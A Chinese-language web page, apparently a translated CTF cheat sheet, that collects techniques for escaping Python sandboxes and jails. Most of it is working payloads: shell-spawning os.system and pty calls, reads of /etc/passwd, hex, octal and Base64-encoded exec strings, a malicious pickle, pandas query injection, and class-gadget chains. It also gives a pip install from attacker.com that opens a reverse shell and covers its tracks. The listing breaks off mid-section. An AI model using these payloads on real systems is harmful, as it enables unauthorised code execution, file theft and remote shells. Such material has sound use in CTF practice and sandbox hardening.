2025年4月12日 星期六 乙巳(蛇)年 正月十三 设为首页 加入收藏
rss
您当前的位置:首页 > 计算机 > 编程开发 > Python

CTF - Python 沙箱绕过与任意命令执行技巧

时间:09-24来源:作者:点击数:52
CDSY,CDSY.XYZ

这些是一些绕过 Python 沙箱保护并执行任意命令的技巧。

命令执行库

首先,您需要知道是否可以直接使用已导入的某些库执行代码,或者是否可以导入以下这些库:

  • os.system("ls")
  • os.popen("ls").read()
  • commands.getstatusoutput("ls")
  • commands.getoutput("ls")
  • commands.getstatus("file/path")
  • subprocess.call("ls", shell=True)
  • subprocess.Popen("ls", shell=True)
  • pty.spawn("ls")
  • pty.spawn("/bin/bash")
  • platform.os.system("ls")
  • pdb.os.system("ls")
  • # 导入函数以执行命令
  • importlib.import_module("os").system("ls")
  • importlib.__import__("os").system("ls")
  • imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
  • imp.os.system("ls")
  • imp.sys.modules["os"].system("ls")
  • sys.modules["os"].system("ls")
  • __import__("os").system("ls")
  • import os
  • from os import *
  • # 其他有趣的函数
  • open("/etc/passwd").read()
  • open('/var/www/html/input', 'w').write('123')
  • # 在 Python2.7
  • execfile('/usr/lib/python2.7/os.py')
  • system('ls')

请记住,openread函数对于读取 Python 沙箱内的文件以及编写可执行的代码以绕过沙箱非常有用。

Python2 的input()函数允许在程序崩溃之前执行 Python 代码。

Python 尝试首先从当前目录加载库(以下命令将打印 Python 从何处加载模块):python3 -c 'import sys; print(sys.path)'

绕过 pickle 沙箱与默认安装的 Python 包

默认包

您可以在此处找到预安装包的列表:https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html

请注意,从 pickle 中,您可以使 Python 环境导入系统中安装的任意库。

例如,以下 pickle 在加载时将导入pip库以使用它:

  • # 请注意,这里我们导入 pip 库以便正确创建 pickle
  • # 然而,受害者甚至不需要安装该库来执行它
  • # 该库将自动加载
  • import pickle, os, base64, pip
  • class P(object):
  • def __reduce__(self):
  • return (pip.main,(["list"],))
  • print(base64.b64encode(pickle.dumps(P(), protocol=0)))

有关 pickle 工作原理的更多信息,请查看此链接:https://checkoway.net/musings/pickle/

Pip 包

由@isHaacK 分享的技巧

如果您有权访问pippip.main(),您可以安装任意包并通过以下调用获得反向 shell:

  • pip install http://attacker.com/Rerverse.tar.gz
  • pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该解压缩它,更改setup.py,并放入您的 IP 以进行反向 shell 连接:

1KB

Reverse.tar.gz

这个包称为 Reverse。但是,它经过特殊设计,以便当您退出反向 shell 时,其余的安装将失败,因此在您离开时不会在服务器上留下任何额外的 Python 包安装。

Eval-ing Python 代码

请注意,exec允许多行字符串和;,但eval不允许(检查 walrus 运算符)

如果某些字符被禁止,您可以使用十六进制/八进制/B64 表示来绕过限制:

  • exec("print('RCE'); __import__('os').system('ls')") # 使用 ";"
  • exec("print('RCE')\n__import__('os').system('ls')") # 使用 "\n"
  • eval("__import__('os').system('ls')") # Eval 不允许 ";"
  • eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) # 这样 eval 接受 ";"
  • __import__('timeit').timeit("__import__('os').system('ls')",number=1)
  • # 允许换行和制表符的单行代码
  • eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
  • exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
  • # 八进制
  • exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
  • # 十六进制
  • exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
  • # Base64
  • exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) # 仅 Python2
  • exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

其他允许评估 Python 代码的库:

  • # Pandas
  • import pandas as pd
  • df = pd.read_csv("currency-rates.csv")
  • df.query('@__builtins__.__import__("os").system("ls")')
  • df.query("@pd.io.common.os.popen('ls').read()")
  • df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
  • # 前面的选项有效,但其他您可能尝试的会给出错误:
  • # 仅支持命名函数
  • # 例如:
  • df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
运算符和简短技巧
  • # walrus 运算符允许在列表中生成变量
  • ## 一切都将按顺序执行
  • ## 来自 https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
  • [a:=21,a*2]
  • [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
  • ## 这对于注入“eval”中的代码非常有用,因为它不支持多行或“;”

通过编码绕过保护(UTF - 7)

在本写入中,UFT - 7 用于在明显的沙箱内加载和执行任意 Python 代码:

  • assert b"+AAo - ".decode("utf_7") == "\n"
  • payload = """
  • # -*- coding: utf_7 -*-
  • def f(x):
  • return x
  • # +AAo - print(open("/flag.txt").read())
  • """.lstrip()

也可以使用其他编码(例如raw_unicode_escapeunicode_escape)来绕过它。

Python 执行无需调用

如果您在一个不允许您进行调用的 Python 监狱中,仍然有一些方法可以执行任意函数、代码和命令。

RCE 与装饰器
  • # 来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/
  • @exec
  • @input
  • class X:
  • pass
  • # 前面的代码等同于:
  • class X:
  • pass
  • X = input(X)
  • X = exec(X)
  • # 因此,只需在提示时发送您的 Python 代码,它将被执行
  • # 另一种无需调用 input 的方法:
  • @eval
  • @'__import__("os").system("sh")'.format
  • class _:pass
RCE 创建对象和重载

如果您可以声明一个类并创建该类的对象,您可以编写/覆盖不同的方法,这些方法可以在不需要直接调用它们的情况下被触发。

RCE 与自定义类

您可以修改某些类方法(通过覆盖现有类方法或创建新类),以使它们在被触发时执行任意代码,而无需直接调用它们。

  • # 这个类有 3 种不同的方式在不直接调用任何函数的情况下触发 RCE
  • class RCE:
  • def __init__(self):
  • self += "print('Hello from __init__ + __iadd__')"
  • __iadd__ = exec # 在对象创建时触发
  • def __del__(self):
  • self -= "print('Hello from __del__ + __isub__')"
  • __isub__ = exec # 在对象创建时触发
  • __getitem__ = exec # 用 obj[<参数>]触发
  • __add__ = exec # 用 obj + <参数>触发
  • # 这些行直接滥用前面的类来获得 RCE
  • rce = RCE() # 稍后我们将看到如何在不调用构造函数的情况下创建对象
  • rce["print('Hello from __getitem__')"]
  • rce + "print('Hello from __add__')"
  • del rce
  • # 这些行将在程序结束(退出)时获得 RCE
  • sys.modules["pwnd"] = RCE()
  • exit()
  • # 其他要覆盖的函数
  • __sub__ (k - 'import os; os.system("sh")')
  • __mul__ (k * 'import os; os.system("sh")')
  • __floordiv__ (k // 'import os; os.system("sh")')
  • __truediv__ (k / 'import os; os.system("sh")')
  • __mod__ (k % 'import os; os.system("sh")')
  • __pow__ (k**'import os; os.system("sh")')
  • __lt__ (k < 'import os; os.system("sh")')
  • __le__ (k <= 'import os; os.system("sh")')
  • __eq__ (k == 'import os; os.system("sh")')
  • __ne__ (k!= 'import os; os.system("sh")')
  • __ge__ (k >= 'import os; os.system("sh")')
  • __gt__ (k > 'import os; os.system("sh")')
  • __iadd__ (k += 'import os; os.system("sh")')
  • __isub__ (k -= 'import os; os.system("sh")')
  • __imul__ (k *= 'import os; os.system("sh")')
  • __ifloordiv__ (k //= 'import os; os.system("sh")')
  • __idiv__ (k /= 'import os; os.system("sh")')
  • __itruediv__ (k /= 'import os; os.system("sh")')(请注意,这仅在`from __future__ import division`生效时起作用。)
  • __imod__ (k %= 'import os; os.system("sh")')
  • __ipow__ (k **= 'import os; os.system("sh")')
  • __ilshift__ (k <<= 'import os; os.system("sh")')
  • __irshift__ (k >>= 'import os; os.system("sh")')
  • __iand__ (k = 'import os; os.system("sh")')
  • __ior__ (k |= 'import os; os.system("sh")')
  • __ixor__ (k ^= 'import os; os.system("sh")')
通过元类创建对象

元类允许我们做的关键事情是通过创建一个以目标类为元类的新类,来创建一个类的实例,而无需直接调用构造函数。

  • # 代码来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/ 并修复
  • # 这将定义“子类”的成员
  • class Metaclass(type):
  • __getitem__ = exec # 因此 Sub[string]将执行 exec(string)
  • # 注意:Metaclass.__class__ == type
  • class Sub(metaclass=Metaclass): # 这就是我们使 Sub.__class__ == Metaclass 的方式
  • pass # 无需特殊操作
  • Sub['import os; os.system("sh")']
  • ## 您也可以使用前面部分的技巧来使用此对象获得 RCE
通过异常创建对象

当触发异常时,会创建 Exception 对象的实例,而无需您直接调用构造函数(来自@_nag0mez 的技巧):

  • class RCE(Exception):
  • def __init__(self):
  • self += 'import os; os.system("sh")'
  • __iadd__ = exec # 在对象创建时触发
  • raise RCE # 生成 RCE 对象
  • # RCE 与 __add__重载和 try/except + raise 生成的对象
  • class Klecko(Exception):
  • __add__ = exec
  • try:
  • raise Klecko
  • except Klecko as k:
  • k + 'import os; os.system("sh")' # RCE 滥用 __add__

您也可以使用前面部分的技巧来使用此对象获得 RCE

更多 RCE

  • # 来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/
  • # 如果导入了 sys,您可以 sys.excepthook 并通过触发错误来触发它
  • class X:
  • def __init__(self, a, b, c):
  • self += "os.system('sh')"
  • __iadd__ = exec
  • sys.excepthook = X
  • 1/0 # 触发它
  • # 来自 https://github.com/google/google - ctf/blob/master/2022/sandbox - treebox/healthcheck/solution.py
  • # 解释器将尝试导入特定于 apt 的模块,以潜在地
  • # 报告 ubuntu 提供的模块中的错误。
  • # 因此,__import__函数被我们的 RCE 覆盖
  • class X():
  • def __init__(self, a, b, c, d, e):
  • self += "print(open('flag').read())"
  • __iadd__ = eval
  • __builtins__.__import__ = X
  • {}[1337]
使用 builtins 帮助和许可证读取文件
  • __builtins__.__dict__["license"]._Printer__filenames=["flag"]
  • a = __builtins__.help
  • a.__class__.__enter__ = __builtins__.__dict__["license"]
  • a.__class__.__exit__ = lambda self, *args: None
  • with (a as b):
  • pass

内置函数

Python2 的内置函数
Python3 的内置函数

如果您可以访问__builtins__对象,则可以导入库(请注意,您也可以在此处使用上一节中显示的其他字符串表示形式):

  • __builtins__.__import__("os").system("ls")
  • __builtins__.__dict__['__import__']("os").system("ls")
无内置函数

当您没有__builtins__时,您将无法导入任何东西,甚至无法读取或写入文件,因为所有全局函数(如openimportprint…)都未加载。

然而,默认情况下,Python 在内存中导入了很多模块。这些模块可能看起来无害,但其中一些也在内部导入了危险的功能,可以访问这些功能以获得甚至任意代码执行。

在以下示例中,您可以观察如何滥用这些“良性”模块中的一些来访问其内部的危险功能。

Python2
  • # 尝试重新加载 __builtins__
  • reload(__builtins__)
  • import __builtin__
  • # 读取恢复 <type 'file'> 在偏移量 40
  • ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
  • # 写入恢复 <type 'file'> 在偏移量 40
  • ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
  • # 执行恢复 __import__(类 59s 是 <class 'warnings.catch_warnings'>
  • ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
  • # 执行(另一种方法)
  • ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
  • # 执行恢复 eval 符号(类 59 是 <class 'warnings.catch_warnings'>
CDSY,CDSY.XYZ
方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门
本栏推荐